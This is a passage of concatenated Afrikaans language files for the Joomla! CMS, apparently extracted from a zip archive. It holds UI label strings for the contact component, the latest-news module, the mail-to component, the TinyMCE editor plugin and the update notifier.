COM_CONTACT_FIELD_LINKE_DESC="Beskrywing vir Skakel E" COM_CONTACT_FIELD_ARTICLES_COMMENTS_LABEL="Kommentaar" COM_CONTACT_FIELD_CATEGORY_LABEL="Kies 'n kategorie" COM_CONTACT_FIELD_SORTNAME1_LABEL="Eerste Sorteer Veld" COM_CONTACT_FIELD_SORTNAME3_LABEL="Tweede Sorteer Veld" COM_CONTACT_FIELD_PUBLISH_DOWN_LABEL="Voltooi Publiseering" COM_CONTACT_CHANGE_CONTACT="Wysig Kontak" COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_FEEDLINK_LABEL="Afvoer skakel" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_EDIT_CONTACT="Redigeer Kontak" COM_CONTACT_FIELD_LINKB_LABEL="Skakel B URL" COM_CONTACT_FIELD_LINKC_LABEL="Skakel C URL" COM_CONTACT_FIELD_LINKD_LABEL="Skakel D URL" COM_CONTACT_FIELD_LINKE_LABEL="Skakel E URL" COM_CONTACT_FIELD_LINKA_LABEL="Maak 'n URL Skakel" COM_CONTACT_CHANGE_CONTACT_BUTTON="Wysig Kontak" COM_CONTACT_FIELD_PARAMS_WEBPAGE_LABEL="Webblad" COM_CONTACT_CONTACT_SETTINGS_LABEL="Kontak Opsies" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_LABEL="Verbande E-posadres" COM_CONTACT_FIELD_CATEGORIES_LABEL="Kies 'n ouer-kategorie" COM_CONTACT_FIELD_LIMIT_BOX_DESC="Vertoon/Versteek limit box" COM_CONTACT_FIELD_LINKED_USER_DESC="Verbonde Joomla! Gebruiker" COM_CONTACT_FIELD_CREATED_BY_ALIAS_LABEL="Geskep deur Alias" COM_CONTACT_FIELD_CONFIG_VCARD_LABEL="vCard" COM_CONTACT_FIELD_FEEDLINK_LABEL="Afvoer skakel" COM_CONTACT_FIELD_PARAMS_VCARD_LABEL="vCard" COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_LABEL="Verbande Onderwerp" COM_CONTACT_FIELD_LANGUAGE_DESC="Wys 'n taal toe aan hierdie kontak" COM_CONTACT_FIELD_PARAMS_WEBPAGE_DESC="Vertoon of versteek webbladsy" COM_CONTACT_FIELD_LINKED_USER_LABEL="Geskakelde Gebruiker" COM_CONTACT_FIELD_SORTNAME2_LABEL="Tweede Sorteer Veld" COM_CONTACT_FIELD_CONFIG_REDIRECT_LABEL="Kontak Herlei" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_LABEL="Verbande Teks" COM_CONTACT_CHANGE_CONTACT="Wysig Kontak" COM_CONTACT_FIELD_SORTNAME2_DESC="Die deel van die naam om te gebruik vir die tweede sorteer veld" COM_CONTACT_CHANGE_CONTACT="Wysig Kontak" COM_CONTACT_FIELD_LIMIT_BOX_LABEL="Limiet boks" COM_CONTACT_FIELD_LINKB_NAME_LABEL="Skakel B Etiket" COM_CONTACT_FIELD_LINKC_NAME_LABEL="Skakel C Etiket" COM_CONTACT_FIELD_LINKD_NAME_LABEL="Skakel D Etiket" COM_CONTACT_FIELD_LINKE_NAME_LABEL="Skakel E Etiket" COM_CONTACT_FIELD_LINKA_NAME_LABEL="Skakel Etiket" COM_CONTACT_FIELD_FEEDLINK_DESC="Vertoon/Versteek 'n afvoer skakel vir hierdie kontak kategorie" COM_CONTACT_FIELD_ARTICLES_RATINGS_LABEL="Artikels beoordelings" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_LABEL="Verbande E-posadresse" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_LABEL="Pasgemaakte Antwoord" COM_CONTACT_FIELD_ARTICLES_SHOW_LABEL="Vertoon Gebruiker Artikels" COM_CONTACT_FIELD_BREADCRUMBS_LABEL="Vertoon Kategorie Broodkrummels" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_LABEL="Stuur Kopieer om te Bydraer" COM_CONTACT_FIELD_SORTNAME1_DESC="Die deel van die naam om te gebruik vir die eerste sorteer veld" COM_CONTACT_FIELD_SORTNAME3_DESC="Die deel van die naam om te gebruik vir die derde sorteer veld" COM_CONTACT_FIELD_CONFIG_SESSION_CHECK_DESC="Toets vir die bestaan van 'n sessie koekie. Die beteken dat gebruikers wat koekies gesper het nie e-pos sal kan stuur nie." COM_CONTACT_FIELD_CATEGORY_DESC="Kies 'n kontak kategorie om te vertoon" COM_CONTACT_FIELD_CONTACT_SHOW_LIST_LABEL="Vertoon Kontak Lys" COM_CONTACT_FIELD_CREATED_DESC="Datum wat kontak geskep is." COM_CONTACT_FIELD_LINK_NAME_DESC="'n Verdere skakel vir hierdie kontak" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_LABEL="Webwerf" COM_CONTACT_FIELD_INFORMATION_WEBPAGE_DESC="Kontak se Webwerf" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_DESC="Laat die vertoon van vCard toe" COM_CONTACT_FIELD_CONFIG_ALLOW_VCARD_LABEL="Laat vCard toe" COM_CONTACT_CONTACT_VIEW_DEFAULT_DESC="Hierdie skakel na die kontak inligting vir 'n kontak.." COM_CONTACT_CONTACT_DISPLAY_DETAILS="Vertoon opsies vir die individuele kontak bladsy." COM_CONTACT_FIELD_BREADCRUMBS_DESC="Vertoon/Versteek Kategorie Broodkrummels" COM_CONTACT_FIELD_CONFIG_BANNED_SUBJECT_DESC="Onderwerpe wat nie op die kontakvorm toegelaat sal word nie" COM_CONTACT_CATEGORIES_VIEW_DEFAULT_DESC="Vertoon 'n lys van kontak kategorië binne-in 'n kategorie." COM_CONTACT_CATEGORY_VIEW_DEFAULT_DESC="Hierdie aansig lys die kontakte in 'n kategorie." COM_CONTACT_CONFIG_INTEGRATION_SETTINGS_DESC="Hierdie instellings stel vas hoe die Kontak Komponent met ander ekstensies sal integreer." COM_CONTACT_EDIT_DETAILS="Redigeer watter kontak inligting op 'n individele bladsy vertoon word." COM_CONTACT_ERROR_UNIQUE_ALIAS="'n Ander Kontak van hierdie kategorie het dieselfde alias" COM_CONTACT_FIELD_ARTICLES_COMMENTS_DESC="Laat kommentaar toe vir die artikels wat deur die kontak geskryf is" COM_CONTACT_FIELD_CATEGORIES_DESC="Vertoon 'n lys van kontak kategorië binne-in 'n kategorie." COM_CONTACT_FIELD_ARTICLES_RATINGS_DESC="Laat artikel-beoordeling vir die kontak toe" COM_CONTACT_FIELD_CONFIG_BANNED_EMAIL_DESC="E-posadresse wat nie toegelaat is nie in kontak-bydrag vorm." COM_CONTACT_FIELD_CONFIG_CATEGORIES_DESC="Hierdie instellings geld net vir Kontak Kategorië-Opsies behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_CONTACT_FIELD_CONFIG_CATEGORY_DESC="Hierdie instellings geld net vir Kontak Kategorie-Opsies behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_CONTACT_FIELD_CONFIG_STATE_LABEL="Staat of Provinsie" COM_CONTACT_FIELD_CONFIG_TABLE_OF_CONTACTS_DESC="Hierdie instellings geld net vir Kontak Lys-Opsies behalwe as hulle gewysig is vir 'n spesifieke menu item." COM_CONTACT_FIELD_CONFIG_VCARD_DESC="Vertoon/Versteek 'n vCard kolom in die lys van Kontakte." COM_CONTACT_FIELD_CREATED_BY_DESC="Jy kan hier die naam van die gebruiker wysig wie die kontak geskep het" COM_CONTACT_FIELD_EMAIL_BANNED_EMAIL_DESC="E-posadresse wat nie op 'n kontak bydrag-vorm toegelaat is nie." COM_CONTACT_FIELD_EMAIL_BANNED_SUBJECT_DESC="Onderwerpe wat nie in 'n kontakvorm toegelaat is nie" COM_CONTACT_FIELD_EMAIL_BANNED_TEXT_DESC="Teks wat nie in 'n kontakvorm toegelaat is nie" COM_CONTACT_FIELD_EMAIL_EMAIL_COPY_DESC="Versteek of Vertoon merkboksie wat toelaat dat 'n kopie van die e-pos na die bydraer gestuur sal word." COM_CONTACT_FIELD_ICONS_EMAIL_DESC="Kies 'n E-pos ikoon. Indien jy nie ene kies nie, sal die verstek ikoon vertoon word." COM_CONTACT_FIELD_ICONS_FAX_DESC="Kies 'n Faks ikoon. Indien jy nie ene kies nie, sal die verstek ikoon vertoon word." COM_CONTACT_FIELD_ICONS_MISC_DESC="Kies die 'Gemenge' ikoon. Indien jy nie ene kies nie, sal die verstek ikoon vertoon word." COM_CONTACT_FIELD_ICONS_MOBILE_DESC="Kies die Selfoon ikoon. Indien jy nie ene kies nie, sal die verstek ikoon vertoon word." COM_CONTACT_FIELD_ICONS_SETTINGS_DESC="Kies of jy ikone, teks of niks, langs die inligting wil vertoon." COM_CONTACT_FIELD_ICONS_TELEPHONE_DESC="Kies die Telefoon ikoon. Indien jy nie ene kies nie, sal die verstek ikoon vertoon word." COM_CONTACT_FIELD_MODIFIED_DESC="Die datum en tyd wat die kontak laas gewysig is." COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Om die uitvoer na die vCard vormaat toe te laat of nie" COM_CONTACT_FIELD_MODIFIED_DESC="Die datum en tyd wat die kontak laas gewysig is." COM_CONTACT_FIELD_PARAMS_VCARD_DESC="Om die uitvoer na die vCard vormaat toe te laat of nie" COM_CONTACT_FIELD_PRESENTATION_DESC="Bepaal die styl wat gebruik word om seksies in die kontakvorm te vertoon" COM_CONTACT_FIELD_PROFILE_SHOW_DESC="Indien hierdie kontak na 'n gebruiker gemap is, en as dit na Vertoon gestel is, dan sal die profiel van hierdie gebruiker vertoon word." COM_CONTACT_FIELD_PUBLISH_DOWN_DESC="'n Optionele datum om die Publiseer van die kontak te beëindig." COM_CONTACT_FIELD_PUBLISH_UP_DESC="'n Optionele datum om die Publiseer van die kontak te begin." COM_CONTACT_SELECT_CONTACT_DESC="Druk die knoppie om 'n kontak uit die lys te kies en te vertoon" COM_CONTACT_SHOW_EMPTY_CATEGORIES_DESC="Indien 'Vertoon', sal leë kategorië vertoon word. 'n Kategorie is slegs leeg as dit geen Kontakte of subkategorië bevat nie." COM_CONTACT_FIELD_ARTICLES_SHOW_DESC="Indien hierdie kontak na 'n gebruiker gemap is, en as dit na Vertoon gestel is, dan sal 'n lys van hierdie gebruiker se artikels vertoon word." COM_CONTACT_FIELD_CONFIG_BANNED_TEXT_DESC="Teks nie in kontakvorm toegelaat nie" COM_CONTACT_FIELD_CONFIG_CUSTOM_REPLY_DESC="Sper die outomatiese antwoord, wat die integrering van inprop-programme van ander stelsels bemoontlik." COM_CONTACT_FIELD_CONFIG_REDIRECT_DESC="Tik 'n alternatiewe e-posadres in, waarheen inligting gestuur kan word." COM_CONTACT_FIELD_CONTACT_SHOW_CATEGORY_DESC="Indien "Versteek", sal die Kontak Kategorie nie vertoon nie. Indien "Vertoon Sonder Skakel", sal die Kategorie in teks-vorm vertoon word. Indien "Vertoon Met Skakel", sal die Kategorie as 'n skakel na 'n Enkel Kategorie Menu Item, vertoon." COM_CONTACT_FIELD_CONTACT_SHOW_LIST_DESC="Indien Vertoon, sal die gebruiker kan bepaal watter kontak vertoon moet word, deur 'n kontak uit 'n aftrek-lys te kies, wat alle kontakte in die huidige kontak kategorie bevat." COM_CONTACT_FIELD_CREATED_BY_ALIAS_DESC="Jy kan hier 'n alias intik wat, in plaas van die naam van die gebruiker wie die kontak geskep het, sal vertoon." COM_CONTACT_FIELD_FEATURED_DESC="Indien Ja gemerk, sal dit in die Glans-Aansig vertoon word." COM_CONTACT_FIELD_ICONS_ADDRESS_DESC="Kies die Adres-ikoon. Indien geen gekies is nie, sal die verstek ikoon vertoon word." COM_CONTACT_FILTER_DESC="Kies die filtreer-tipe om per verstek te vertoon." COM_CONTACT_FILTER_SEARCH_DESC="Voer die teks in wat ooreenstemmende kontakte sal aandui" COM_CONTACT_FIELD_VALUE_TABS="Oortjies" COM_CONTACT_WARNING_SAME_NAME="Die naam van hierdie kontak is reeds in gebruik. Gebruik asseblief 'n ander naam" COM_CONTACT_FIELD_CONFIG_INDIVIDUAL_CONTACT_DESC="Hierdie instellings is slegs van toepassing op 'n enkel Kontak, behalwe as hulle gewysig is vir 'n spesifieke menu item of Kontak" COM_CONTACT_FIELD_INITIAL_SORT_LABEL="Sorteer volgens" COM_CONTACT_FIELD_VALUE_NAME="Naam" COM_CONTACT_FIELD_VALUE_ORDERING="Volgorde" COM_CONTACT_FIELD_VALUE_SORT_NAME="Sorteer-Naam" COM_CONTACT_FIELD_INITIAL_SORT_DESC="Kies die veld of velde waarvolgens kontakte gesorteer moet word." COM_CONTACT_BATCH_OPTIONS="Bondelverwerk die gekose kontakte" COM_CONTACT_BATCH_MENU_LABEL="Kies Kategorie om te Verskuif/Kopieer" COM_CONTACT_FIELD_CAPTCHA_LABEL="Laat Captcha vir Kontakte toe" JLIB_RULES_SETTING_NOTES="1. Indien jy die instelling wysig, sal dit op hierdie en alle afstammelings-kategorië toegepas word. Let op dat:
              Geërf beteken dat die permissisies van die Ouer kategorie gebruik sal word as daar 'n Ouer kategorie, of as daar nie 'n Ouer kategorie is nie, die komponent s'n gebruik sal word.
              Gewyer beteken dat ongeag wat die globale konfigurasie of Ouer kategorie instelling is, die groep wat geredigeer word nie hierdie aksie binne-in die komponent sal toepas nie.
              Toegelaat beteken dat die groep wat geredigeer word, die aksies vir hierdie binne-in die komponent sal toepas (maar as dit in konflik met die Ouer-kategorie of Komponent instelling is, sal dit geen verskil maak nie; 'n konflik sal aangetoon word met Nie Toegelaat nie (Gesluit) onder Berekende Instellings).
              2. Indien jy 'n nuwe instelling kies, kliek op Stoor om die berekende instellings te vervars." JLIB_HTML_BATCH_USER_LABEL="Stel Geskakelde Gebruiker" JGLOBAL_NEWITEMSLAST_DESC="Nuwe nuus-afvoere verstek na die laaste posisie. Die volgorde kan gewysig word nadat hierdie nuus-afvoer gestoor is." COM_CONTACT_TOGGLE_TO_FEATURE="Wissel om die kontakstaat na 'te wysig" COM_CONTACT_TOGGLE_TO_UNFEATURE="Wissel om die kontakstaat na 'Glanslose kontak' te wysig" COM_CONTACT_UNFEATURED="Glanslose kontak" COM_CONTACT_FIELD_VALUE_SLIDERS="Glyers" COM_CONTACT_BATCH_TIP="Indien jy 'n kontak wil kopieer, sal al die ander aksies ook op die kopieerde kontak toegepas word. Andersins sal alle aksies op die gekose kontak toegepas word." COM_CONTACT_FIELD_CAPTCHA_DESC="Kies die captcha inprop-program wat gebruik sal woord in die kontak vorm." PK@y>\?vz'language/af-ZA/af-ZA.mod_latest.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_latest.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_LATEST="Laatste Nuus" MOD_LATEST_LAYOUT_DEFAULT="Verstek" MOD_LATEST_XML_DESCRIPTION="Hierdie Module vertoon 'n lys van die mees onlangs-gepubliseerde Artikels wat nog huidig is. Party wat vertoon word mag al verstryk wees al is hulle van die mees-onlangse artikels." PK@y>\NQP'language/af-ZA/af-ZA.com_mailto.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_mailto.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MAILTO="E-pos aan" COM_MAILTO_XML_DESCRIPTION="'n Generiese e-pos na 'n vriend komponent" PK@y>\JpBY'Y',language/af-ZA/af-ZA.plg_editors_tinymce.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.plg_editors_tinymce.ini 1776 2012-06-15 10:26:41Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_TINY_FIELD_TIMEFORMAT_LABEL="Tyd Formaat" PLG_TINY_FIELD_VALUE_BLACK="Office2007 Swart" PLG_TINY_FIELD_VALUE_BLUE="Office2007 Blou" PLG_TINY_FIELD_VALUE_TOP="Bo" PLG_TINY_FIELD_URLS_LABEL="URLs" PLG_TINY_FIELD_STYLE_LABEL="Styl" PLG_TINY_FIELD_VALUE_LEFT="Skakels" PLG_TINY_FIELD_VALUE_RIGHT="Regs" PLG_TINY_FIELD_VALUE_ALWAYS="Altyd" PLG_TINY_FIELD_VALUE_BOTTOM="Onder" PLG_TINY_FIELD_VALUE_CENTER="Middle" PLG_TINY_FIELD_VALUE_SIMPLE="Eenvoudig" PLG_TINY_FIELD_TOOLBAR_LABEL="Nutsbalk" PLG_TINY_FIELD_VALUE_DEFAULT="Verstek" PLG_TINY_FIELD_SMILIES_LABEL="Smilies" PLG_TINY_FIELD_TIME_LABEL="Invoeg Tyd" PLG_TINY_FIELD_DATE_LABEL="Invoeg Datum" PLG_TINY_FIELD_LANGCODE_LABEL="Taal Kode" PLG_EDITORS_TINYMCE="Redigeerder - TinyMCE" PLG_TINY_FIELD_ADVIMAGE_LABEL="Gevorderde beeld" PLG_TINY_FIELD_CSS_LABEL="Templet CSS klasse" PLG_TINY_FIELD_DATEFORMAT_LABEL="Datum Formaat" PLG_TINY_FIELD_CONTEXTMENU_LABEL="Konteks menu" PLG_TINY_FIELD_DIRECTION_LABEL="Teks Rigting" PLG_TINY_FIELD_VALUE_SILVER="Office2007 Silwer" PLG_TINY_FIELD_ADVLIST_LABEL="Gevorderde Lys" PLG_TINY_FIELD_COLORS_LABEL="Kleure" PLG_TINY_FIELD_TEMPLATE_LABEL="Templet" PLG_TINY_FIELD_NEWLINES_LABEL="Nuwe Lyne" PLG_TINY_FIELD_WORDCOUNT_LABEL="Woordtelling" PLG_TINY_FIELD_FONTS_LABEL="Fonte" PLG_TINY_FIELD_LAYER_LABEL="Vlak" PLG_TINY_FIELD_MEDIA_LABEL="Media" PLG_TINY_FIELD_PASTE_LABEL="Plak" PLG_TINY_FIELD_TABLE_LABEL="Tabel" PLG_TINY_FIELD_NEWLINES_LABEL="Nuwe Lyne" PLG_TINY_FIELD_WORDCOUNT_LABEL="Woordtelling" PLG_TINY_FIELD_ADVLIST_LABEL="Gevorderde Lys" PLG_TINY_FIELD_PATH_LABEL="Element Gidspad" PLG_TINY_FIELD_VALUE_LTR="Links na Regs" PLG_TINY_FIELD_VALUE_RTL="Regs na Links" PLG_TINY_FIELD_HTMLHEIGHT_LABEL="HTML Hoogte" PLG_TINY_FIELD_HTMLWIDTH_LABEL="HTML Breedte" PLG_TINY_FIELD_COLORS_LABEL="Kleure" PLG_TINY_FIELD_VALUE_BR="BR Elemente" PLG_TINY_FIELD_CUSTOMBUTTON_DESC="Voeg pasgemaakte knoppie(s)" PLG_TINY_FIELD_LANGSELECT_LABEL="Outomatiese Taal Keuse" PLG_TINY_FIELD_TEMPLATE_LABEL="Templet" PLG_TINY_FIELD_FUNCTIONALITY_LABEL="Funksionaliteit" PLG_TINY_FIELD_TOOLBAR_DESC="Posisie van die nutsbalk" PLG_TINY_FIELD_WORDCOUNT_DESC="Stel Woordtelling aan/af" PLG_TINY_FIELD_VALUE_ABSOLUTE="Absoluut" PLG_TINY_FIELD_VALUE_ADVANCED="Gevorderd" PLG_TINY_FIELD_CUSTOMBUTTON_LABEL="Pasgemaakte knoppie" PLG_TINY_FIELD_CUSTOM_CSS_LABEL="Pasgemaakte CSS klasse" PLG_TINY_FIELD_LABEL_ADVANCEDPARAMS="Gevorderde parameters" PLG_TINY_FIELD_VALUE_P="P Elemente" PLG_TINY_FIELD_DIRECTION_DESC="Kies die verstek teks rigting" PLG_TINY_FIELD_URLS_DESC="URL gedrag" PLG_TINY_FIELD_HR_LABEL="Horisontale Reël" PLG_TINY_FIELD_RTL_LABEL="Rigtingsgewysheid" PLG_TINY_FIELD_ADVLINK_LABEL="Gevorderde skakel" PLG_TINY_FIELD_BLOCKQUOTE_LABEL="Blokaanhaling" PLG_TINY_FIELD_FULLSCREEN_LABEL="Volskerm" PLG_TINY_FIELD_NONBREAKING_LABEL="Niebrekend" PLG_TINY_FIELD_SAVEWARNING_LABEL="Stoor Waarskuwing" PLG_TINY_FIELD_SKIN_LABEL="Vel" PLG_TINY_FIELD_VALUE_FRONT="Voor Aleenlik" PLG_TINY_FIELD_XHTMLXTRAS_LABEL="XHTMLxtras" PLG_TINY_BUTTON_TOGGLE_EDITOR="Skakel redigeerder" PLG_TINY_FIELD_ENCODING_LABEL="Entiteit Enkodeering" PLG_TINY_FIELD_INLINEPOPUPS_LABEL="Inlyn opspringvensters" PLG_TINY_FIELD_PROHIBITED_LABEL="Verbode Elemente" PLG_TINY_FIELD_SEARCH-REPLACE_LABEL="Soek-Vervang" PLG_TINY_FIELD_HR_DESC="Vertoon/Versteek die Horisontale Reël knoppie" PLG_TINY_FIELD_FUNCTIONALITY_DESC="Kies Funksionaliteit" PLG_TINY_FIELD_DATE_DESC="Vertoon/Versteek die Invoeg Datum knoppie. Werk slegs in gevorderde modus." PLG_TINY_FIELD_HTMLHEIGHT_DESC="Hoogte of HTML mode opspring-venster. Werk slegs in gevorderde modus." PLG_TINY_FIELD_HTMLWIDTH_DESC="Breedte of HTML mode opspring-venster. Werk slegs in gevorderde modus." PLG_TINY_FIELD_VALUE_RAW="rou" PLG_TINY_FIELD_VALUE_NEVER="Nooit" PLG_TINY_FIELD_VALUE_NAMED="genoem" PLG_TINY_FIELD_VALUE_NUMERIC="numeries" PLG_TINY_FIELD_VALUE_RELATIVE="Relatief" PLG_TINY_FIELD_SKIN_DESC="Kies vel" PLG_TINY_FIELD_VALUE_EXTENDED="Uitgebrei" PLG_TINY_FIELD_RESIZING_LABEL="Vergroot/verklein" PLG_TINY_FIELD_VISUALCHARS_LABEL="Visuele karakters" PLG_TINY_FIELD_TOOLBAR_ALIGN_LABEL="Nutbalk gerigdheid" PLG_TINY_FIELD_RESIZE_HORIZONTAL_DESC="Ontsper/sper die horisontale vergrooting/verkleining." PLG_TINY_FIELD_RESIZE_HORIZONTAL_LABEL="Horisontale vergrooting/verkleining" PLG_TINY_FIELD_RESIZING_DESC="Ontsper/sper die vergrooting/verkleining knoppie." PLG_TINY_FIELD_TOOLBAR_ALIGN_DESC="Nutsbalk gerigdheid" PLG_TINY_FIELD_ADVLINK_DESC="Skakel aan/af 'n meer gevorderd skakel dialog" PLG_TINY_FIELD_ADVIMAGE_DESC="Skakel aan/af 'n meer gevorderd beeld dialog" PLG_TINY_FIELD_BLOCKQUOTE_DESC="Skakel aan/af Blok-aanhaling" PLG_TINY_FIELD_CONTEXTMENU_DESC="Skakel aan/af Konteks menu" PLG_TINY_FIELD_CUSTOMPLUGIN_DESC="Voeg in pasgemaakte inprop-program(me)" PLG_TINY_FIELD_CUSTOMPLUGIN_LABEL="Pasgemaakte inprop-program" PLG_TINY_FIELD_DATEFORMAT_DESC="Datumformaat. Werk slegs in Uitgebreide Modus." PLG_TINY_FIELD_ELEMENTS_DESC="Laat die byvoeg van spesifieke, geldige elemente by die bestaande reëlstel toe" PLG_TINY_FIELD_ELEMENTS_LABEL="Uitgebreide Geldige Elemente" PLG_TINY_FIELD_LAYER_DESC="Vertoon/Versteek die Voeg Nuwe Vlak knoppie. Werk slegs in Uitgebreide modus." PLG_TINY_FIELD_MEDIA_DESC="Vertoon/Versteek die Media knoppie. Werk slegs in Uitgebreide modus." PLG_TINY_FIELD_NAME_EXTENDED_LABEL="Uitgebreide Modus Opsies
              Slegs van toepassing in Uitgebreide modus" PLG_TINY_FIELD_NEWLINES_DESC="Die gekiesde opsie sal Nuwe-lyne maak." PLG_TINY_FIELD_PASTE_DESC="Vertoon/Versteek die Plak-knoppies. Slegs van toepassing in Uitgebreide modus." PLG_TINY_FIELD_PATH_DESC="Indien na Aan gestel is, sal die gestelde klasse vir die gemerkte teks vertoon word." PLG_TINY_XML_DESCRIPTION="TinyMCE is 'n platform-onafhanklike, Web-baseerde JavaScript HTML WYSIWYG Redigeerder." PLG_TINY_FIELD_XHTMLXTRAS_DESC="Vertoon/Versteek die additionele XHTML-eienskappe. Werk slegs in Uitgebreide Modus." PLG_TINY_ERR_CUSTOMCSSFILENOTPRESENT="Die lêer naam %s was in die TinyMCE pasgemaakte CSS-veld ingetik. Hierdie lêer kon nie in die verstek templet vouer gevind word nie. Geen style is beskikbaar nie." PLG_TINY_ERR_EDITORCSSFILENOTPRESENT="Kon nie die lêer 'editor.css' in die template- of die templates/system vouer vind nie. Geen style is beskikbaar nie." PLG_TINY_FIELD_COLORS_DESC="Vertoon/Versteek die Kleur beheer-knoppies. Slegs van toepassing in Uitgebreide Modus." PLG_TINY_FIELD_CSS_DESC="Per verstek soek die Inprop-program vir 'n editor.css lêer. Indien dit nie in die verstek template CSS vouer gevind kan word nie, sal dit die editor.css lêer in die stelsel templet laai." PLG_TINY_FIELD_FONTS_DESC="Vertoon/Versteek die Font-bestuur kontoleerder. Slegs van toepassing in Uitgebreide Modus." PLG_TINY_FIELD_FULLSCREEN_DESC="Vertoon/Versteek die Vol-skerm knoppie. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_SEARCH-REPLACE_DESC="Vertoon/Versteek die Soek & Vervang knoppie. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_SMILIES_DESC="Vertoon/Versteek die Glimlaggies knoppies. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_RTL_DESC="Kies of jy die RNL (Regs Na Links) knoppie wil vertoon. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_LANGSELECT_DESC="Indien Ja, sal die redigeerder-taal outomaties gekies word. Moenie aktiveer as die redigeerder-taal nie geinstalleer is nie." PLG_TINY_FIELD_STYLE_DESC="Vertoon/Versteek die CSS Styl-bestuur knoppie. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_TABLE_DESC="Vertoon/Versteek die tabel bestuur-knoppies. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_TEMPLATE_DESC="Vertoon/Versteek dié knoppie. Slegs van toepassing in Uitgebreide Modus.." PLG_TINY_FIELD_TIME_DESC="Vertoon/Versteek die 'Voeg In Tyd'-knoppie. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_TIMEFORMAT_DESC="Formaat van die ingevoegde tyd. Werk slegs in Uitgebreide Modus" PLG_TINY_FIELD_SAVEWARNING_DESC="Stoor Waakskuwing: Waaksku as jy kanseleer sonder dat jy wysigings gestoor het." PLG_TINY_FIELD_ENCODING_DESC="Beheer hoe HTML-entiteite enkodeer word. Aangeraaide stelling is 'rou'. 'genoemde' = gebruik genoemde entiteits-enkodeering (bv. '<'). 'numeries' = gebruik numeriese HTML-enkodeering (bv. '%03c'). 'rou' = Sal nie HTML-entiteite enkodeer nie. Let op die deursoek van inhoud nie altyd reg sal werk as die enkodeering na 'rou' gestel is nie." PLG_TINY_FIELD_INLINEPOPUPS_DESC="Alle dialoë word as drywende DIV-vlakke geopen in plaas van opspringvensters. Hierdie opsie is baie nuttig om by opspringvensters-blokkeerders verby te kom." PLG_TINY_FIELD_NONBREAKING_DESC="Voeg in nie-brekende spasie-entiteite" PLG_TINY_FIELD_PROHIBITED_DESC="Elemente wat van die teks verwyder sal word. Moenie leeg laat nie." PLG_TINY_FIELD_VISUALCHARS_DESC="Moontliheid om onsigbare karakters te sien, spesifiek nie-brekende spasies." PLG_TINY_FIELD_LANGCODE_DESC="Redigeeror-Taal.'n Waarde is hier verplig as per hand taal-keuse gestel is." PLG_TINY_FIELD_ADVLIST_DESC="Skakel aan/af om die stel van nommer-formaate en kolkarakter-tipes in lyse te kan stel" PLG_TINY_FIELD_CUSTOM_CSS_DESC="Optionele CSS lêer wat die standaard editor.css-lêer sal oorheers. Tik 'n lêer-naam in wat na 'n lêer in die CSS-vouer van die verstek templet aandui (by voorbeeld, templates/beez_20/css/). Of tik in 'n volle URL-gidspad na die pasgemaakte CSS-lêer. Indien jy 'n waarde in hierdie veld intik, sal hierdie lêer gebruik word in plaas van die editor.css lêer." PLG_TINY_FIELD_VISUALBLOCKS_DESC="Vertoon die buitelyne van HTML blok-elemente." PLG_TINY_FIELD_VISUALBLOCKS_LABEL="Visualblocks" PK@y>\X3language/af-ZA/af-ZA.plg_quickicon_joomlaupdate.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_quickicon_joomlaupdate.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_JOOMLAUPDATE_CHECKING="Toets Joomla!
              opdateer status" PLG_QUICKICON_JOOMLAUPDATE_ERROR="Onbekende Joomla!
              opdateer status" PLG_QUICKICON_JOOMLAUPDATE_UPDATEFOUND="Joomla! %s
